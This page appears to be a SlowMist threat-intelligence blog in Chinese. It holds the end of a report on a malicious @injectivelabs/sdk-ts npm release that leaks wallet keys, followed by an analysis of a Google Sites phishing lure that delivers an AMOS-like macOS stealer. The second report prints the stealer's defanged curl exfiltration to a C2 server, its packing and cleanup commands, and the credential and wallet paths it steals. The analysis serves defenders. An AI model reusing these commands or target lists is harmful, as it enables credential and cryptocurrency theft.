在不携带实际数据的探测中，对该目标发起普通 GET 请求返回 501 Not Implemented；以空内容的 gRPC-Web 风格 POST 请求访问，返回 grpc-status: 12 和 malformed method name: "/"，与官方 Testnet gRPC-Web 端点的默认响应一致。这说明目标当前运行着类似的网关服务，但不能说明密钥已被服务端保存。
数据要真正被获取，需要同时满足两个条件：网关或日志系统记录了请求头，且攻击者拥有这些日志或后端存储的读取权限。目前没有证据表明官方服务器或日志系统已被攻击者控制。
总结
这条调查链最终回答了四个问题：
什么时候触发：调用 generate()、fromMnemonic() 或字符串形式的 fromHex() 时。发送了什么：完整助记词，或字符串形式的私钥；字节数组只记录 bytes。怎么发送：等待约 2 秒，使用 Base64 编码后放进空 POST 请求的 X-Request-Id 请求头。能确认到什么程度：源码确认了外传请求的构造逻辑和官方目标地址，但无法确认密钥是否已被服务端保存、记录、转发或提交到链上。
对使用者而言，最紧迫的问题不是确认服务器由谁控制，而是确认密钥是否经过受影响的接口。如果使用过该版本派生或导入钱包，应按密钥可能泄露进行处置。
建议:
检查依赖树、依赖锁定文件、缓存、容器镜像和已构建前端资产，确认没有继续使用 @injectivelabs/sdk-ts@1.20.21。升级到维护者确认并由组织自行验证的安全版本；不要只删除缓存后继续使用原有钱包密钥。盘点所有通过该 SDK 派生或导入的助记词、私钥和测试密钥。对高价值钱包生成新密钥并转移资产，同时撤销旧地址的授权、合约角色和自动签名权限。在 DNS、代理和出口日志中检索 testnet[.]archival[.]chain[.]grpc-web[.]injective[.]network，先保留相关日志并进行监控；确认存在异常请求后，再按组织策略限制异常流量。检查浏览器、Node.js、持续集成与持续交付（CI/CD）、代理和防火墙日志，重点关注带有 X-Request-Id、application/grpc-web+proto 且正文为空的 POST 请求。含有这类请求头的日志应限制访问，避免复制到普通工单或聊天记录。使用软件物料清单（SBOM）、lockfile、node_modules、制品仓库和镜像扫描直接依赖与传递依赖，确认 1.20.21 没有继续进入构建环境。维护者应审计 npm 发布账号、GitHub Actions、npm 可信发布和身份令牌配置、构建机及发布流程；若需确认 GitHub 账号入侵、发布时间、下载量或依赖传播，应使用发布平台记录和组织审计日志独立核实。
IOC
恶意依赖
@injectivelabs/sdk-ts@1.20.21
受影响依赖包（均间接依赖 @injectivelabs/sdk-ts@1.20.21）
@injectivelabs/utils@1.20.21
@injectivelabs/networks@1.20.21
@injectivelabs/ts-types@1.20.21
@injectivelabs/exceptions@1.20.21
@injectivelabs/wallet-base@1.20.21
@injectivelabs/wallet-core@1.20.21
@injectivelabs/wallet-cosmos@1.20.21
@injectivelabs/wallet-private-key@1.20.21
@injectivelabs/wallet-evm@1.20.21
@injectivelabs/wallet-trezor@1.20.21
@injectivelabs/wallet-cosmostation@1.20.21
@injectivelabs/wallet-ledger@1.20.21
@injectivelabs/wallet-wallet-connect@1.20.21
@injectivelabs/wallet-magic@1.20.21
@injectivelabs/wallet-strategy@1.20.21
@injectivelabs/wallet-turnkey@1.20.21
@injectivelabs/wallet-cosmos-strategy@1.20.21
恶意文件
filename: injectivelabs__sdk-ts-1.20.21-socket-raw-reconstructed.tar.gz
MD5: d72bdb86962a4bb673619945175f6378
SHA1: 9233c753a5a4b0f89d1ae0f4ecf6a74fd8d9eff1
SHA256: 624ac118eb5e66d6d313424d375021298bf8a809925a7c642300a41fd672a05d
filename: dist/cjs/accounts-Cy0p4lLW.cjs
MD5: 9b37a86aad8a5e191c1b8c3397848503
SHA1: 4bfbe6c80d0fb9983c21288fdfaa23c1cc8744e4
SHA256: 103c4e6181151c1bcfedc41506cd1815458c38375d08a8fcd9981dbe0b965ce0
filename: dist/esm/accounts-jQ1GSgaW.js
MD5: 06c9394afab853bcbca15f354ef0d72a
SHA1: e9bf2a19038b34e9cc6239a4849b3d5a9bd98aef
SHA256: 9a59eb454f3ca3fe91214136ee5edd417cc47a80e6f169b52099d6561944baf9
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测
本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写，有任何问题欢迎咨询反馈。

摘要
2026 年 7 月 8 日，Bruce Xu（ @brucexu_eth ）反馈了一个伪装成 BuilDAO / Builder 社群申请页面的钓鱼链接。攻击者将页面托管在 Google Sites 上，利用 sites.google.com 的可信外观降低用户警惕。页面前半段模拟社群申请表，要求用户填写所在地、身份、项目链接、入群诉求等信息。提交后并不进入正常审核流程，而是跳转到伪造的安全校验页面。
在第二阶段页面中，攻击者伪造 api_error_401 、OAuth 2.0、macOS 安全校验等技术措辞，诱导用户下载 .scpt 文件，或复制 Terminal Command 到终端执行。解码后可确认，该命令会从攻击者服务器下载名为 unix32385485 的 macOS Mach-O 木马并后台执行。
静态逆向显示，该样本是一款 macOS 信息窃取木马，行为特征与 AMOS / Atomic macOS Stealer 变体高度一致，主要目标包括浏览器凭证与 Cookie、Keychain、Apple Notes、Safari Cookie、系统信息以及多种加密货币钱包数据。
原始情报反馈截图
MistEye 响应
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控系统，集成了安全监控与情报聚合能力，为用户提供实时的风险预警与资产守护。
MistEye 已第一时间通过情报推送与客户告警通道同步风险。
1.事件背景
本次事件的初始线索来自Bruce Xu（ @brucexu_eth ）情报反馈。钓鱼链接被包装成某个 Builder 社群的申请入口，页面文案强调 “verified founders, builders, VCs, speakers and influencers” 以及 “Only serious members, no scams”，试图营造真实社群筛选和反诈审核的氛围。
2.第一阶段：伪装社群申请表
攻击者选择 Google Sites 作为承载页面，并在页面中嵌入类似 Google Forms 的表单 UI。表单标题为 “Apply”，整体伪装成 BuilDAO 申请表。
3.第二阶段：伪造 OAuth 安全校验
提交表单后，页面进入伪造的安全校验界面。攻击者使用蓝色 Google 风格页头、 api_error_401 错误名、OAuth 2.0、 openid,profile,email 、 401 Unauthorized 等技术名词，并配合失败日志，让用户误以为这是正常的账号安全验证。
伪造的 OAuth 401 安全校验页面
4.投递方式：.scpt 与 Terminal 双通道
在 Verification Method 页面中，攻击者提供两种路径：推荐下载 .scpt 文件，或者使用 Terminal Command 手动安装。页面还准备了 macOS Security FAQ，解释什么是 .scpt、如何运行、Gatekeeper 弹窗如何处理，以及下载失败时如何改用 Terminal。
这些 FAQ 看似是帮助文档，实际作用是提前消解用户对 macOS 安全提示的犹豫。
.scpt 下载与 Terminal Command 双投递页面
本地记录中的诱导命令使用 Base64 包裹，再通过 base64 -d | bash 执行。解码后逻辑如下。为避免误执行，以下 URL 已去活化处理：
5.木马样本基础信息
下载得到的 unix32385485 是 macOS Universal Mach-O 可执行文件，同时包含 x86_64 与 arm64 架构，可覆盖 Intel Mac 与 Apple Silicon Mac。
样本导入了 system 、 getenv 、 sleep 、文件读写、 popen/pclose 以及 C++17 std::filesystem 相关能力，说明其核心行为集中在系统命令执行、文件读写、目录遍历与数据打包。
6.字符串混淆：XOR + xorshift32
样本中的路径、命令、C2 地址等敏感字符串没有明文存放，而是位于 __const 段中的加密块内，运行时逐块解密。本次分析记录中共解出 104 个字符串块。
解密出的关键字符串包括 /tmp/lksopo/ 、 Keychains/login.keychain-db 、 Google/Chrome/ 、 NoteStore.sqlite 、 Cookies.binarycookies 、多种钱包目录、打包命令、上传命令以及 C2 地址。
7.恶意行为分析
7.1 环境探测与工作目录初始化
样本首先读取 USER 环境变量，并判断当前用户是否为 root，随后构造 /Users// 用户目录路径。其临时工作目录为：
/tmp/lksopo/
系统信息采集命令包括：
这些信息可帮助攻击者识别系统版本、硬件环境与显示设备信息 ，也可用于后续面板展示或受害主机筛选。
7.2 窃取 Keychain 与浏览器数据
样本会复制 macOS 登录钥匙串：
~/Library/Keychains/login.keychain-db
同时遍历 Chromium 与 Gecko 系浏览器相关目录，目标包括 Chrome、Brave、Microsoft Edge、Vivaldi、Opera、Chromium、Arc、Firefox、Waterfox 等。
这些目录通常包含登录凭证、Cookie、Local Storage、浏览器扩展数据和会话信息。对于 Web3 用户而言，浏览器扩展钱包、交易平台登录态和邮箱会话都是高价值目标。
7.3 窃取 Safari Cookie 与 Apple Notes
样本会尝试复制 Safari Cookie：
~/Library/Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies
~/Library/Cookies/Cookies.binarycookies
此外，样本内嵌 AppleScript，通过 osascript 调用 Notes 应用，遍历所有 Notes 账户，将笔记创建时间与正文内容导出到：
/tmp/lksopo/finder/notes.html
⚠️ 风险提示：很多用户会把助记词、私钥、交易所备份码、2FA 恢复码、服务器密码等敏感信息临时保存在 Notes 中，因此 Notes 导出行为尤其值得关注。
7.4 窃取加密货币钱包数据
样本对桌面钱包的覆盖面较广，解密字符串中出现的钱包目标包括：
Electrum, Electrum-LTC, Coinomi, Exodus, Atomic, Wasabi, Ledger Live,
Ledger Wallet, Monero, Bitcoin Core, Litecoin Core, Dash Core,
Electron Cash, Guarda, Dogecoin Core, Trezor Suite, Sparrow
部分典型路径包括：
.electrum/wallets/
Coinomi/wallets/
atomic/Local Storage/leveldb/
.walletwasabi/client/Wallets/
@trezor/suite-desktop/
.sparrow/wallets/
这说明本次投递并非普通账号窃密，而是明显面向加密货币用户和 Web3 社群成员的资产窃取活动。
7.5 其他一些隐私数据采集
1 Telegram Desktop/tdata/ Telegram 数据目录
2 key_datas 本地加密密钥文件
3 /maps 映射数据文件
key_datas 是 Telegram Desktop 的核心文件，存储用于加密本地数据库的 AES 密钥（一种广泛使用的对称加密算法，同一个密钥用于加密和解密）。窃取该文件后，攻击者可以解密受害者的 Telegram 本地数据库，获取全部聊天记录、联系人和媒体文件。/maps 文件包含 tdata 目录的映射信息，用于定位用户特定的会话数据。在 Telegram Desktop 的 tdata 目录结构中，通常还包含以用户标识命名的子目录（如 D877F783D5DEF8C），其中存储了会话令牌和用户标签数据。
macOS Keychain 窃取
解密出 macOS 钥匙串数据库路径：
Keychains/login.keychain-db
login.keychain-db 存储了用户的系统密码、应用密码、证书和密钥。该文件被窃取后，攻击者可离线破解其中存储的各类凭据。
Apple Notes 窃取
解密出 Apple 备忘录数据库路径：
1 Group Containers/group.com.apple.notes/NoteStore.sqlite
2 finder/NoteStore.sqlite
NoteStore.sqlite 包含用户在 Apple 备忘录中记录的所有内容，可能含有敏感信息、密码备忘或加密货币助记词。
8.打包、外传与清理
样本会将收集到的数据集中放入 /tmp/lksopo/ ，随后使用 ditto 打包：
ditto -c -k --sequesterRsrc /tmp/lksopo /tmp/lksopo.zip
随后通过 HTTP POST 上传到 C2。以下命令已去活化：
curl -X POST
-H "buildid: 7ca94f9fa3eb4164ba7e5d41623a458a"
-H "username: night"
--data-binary @/tmp/lksopo.zip
hxxp://86[.]54[.]25[.]213/log
上传完成后，样本会删除临时目录与压缩包：
rm -rf /tmp/lksopo
rm -f /tmp/lksopo.zip
访问 C2 基地址还可以看到一个登录页，说明该服务器可能同时承载木马分发、日志接收和后台管理功能。
C2 基地址暴露的后台登录页
9.攻击链复盘
10.IOC
10.1 网络 IOC
10.2 主机 IOC
10.3 文件 Hash
结论
本次案例体现了近期面向 Web3 用户的钓鱼投递趋势： 攻击者不再只依赖假空投或假钱包页面，而是借助 Google Sites、Google Forms 风格 UI、OAuth 错误页、macOS 安全 FAQ 等元素，构造一条看似合理的“社群申请 - 安全校验 - 终端验证”路径。 真正的攻击载荷则是针对 macOS 的窃密木马，目标直指浏览器登录态、Keychain、Notes 和加密货币钱包。
这类攻击的关键防线不只是识别域名真假，更是识别行为是否合理：任何网页要求用户下载脚本、运行 .scpt 、复制 Terminal / PowerShell 命令，都应视为高危信号。对于 Web3 用户而言，浏览器、Notes、桌面钱包和硬件钱包配套软件都属于核心资产边界，一旦执行过此类命令，应按资产与凭据已泄露进行应急处置。
关于 MistEye
MistEye 是由 SlowMist 自主研发的 Web3 威胁情报与动态安全监控平台，通过 API 提供开源包生态的恶意活动检测与供应链风险预警能力。
本次行动涉及的全部恶意包及 IOC 已接入 MistEye 威胁检测引擎，开发者可通过 API 对项目依赖进行自动化检测，快速判定是否命中已知恶意包并获取处置建议。
📖 API 文档：https://app.misteye.io/api-docs
🛠️ MistEye-DepScan：https://github.com/slowmist/MistEye-DepScan 轻量级 CLI 工具，一行命令扫描项目依赖与全局安装包中的已知恶意包，支持 npm / PyPI / Cargo / Go / RubyGems 生态
🛠️ MistEye-Skills：https://github.com/slowmist/misteye-skills AI 编码助手安全技能包，在依赖安装与 URL 访问前自动触发 MistEye 安全检测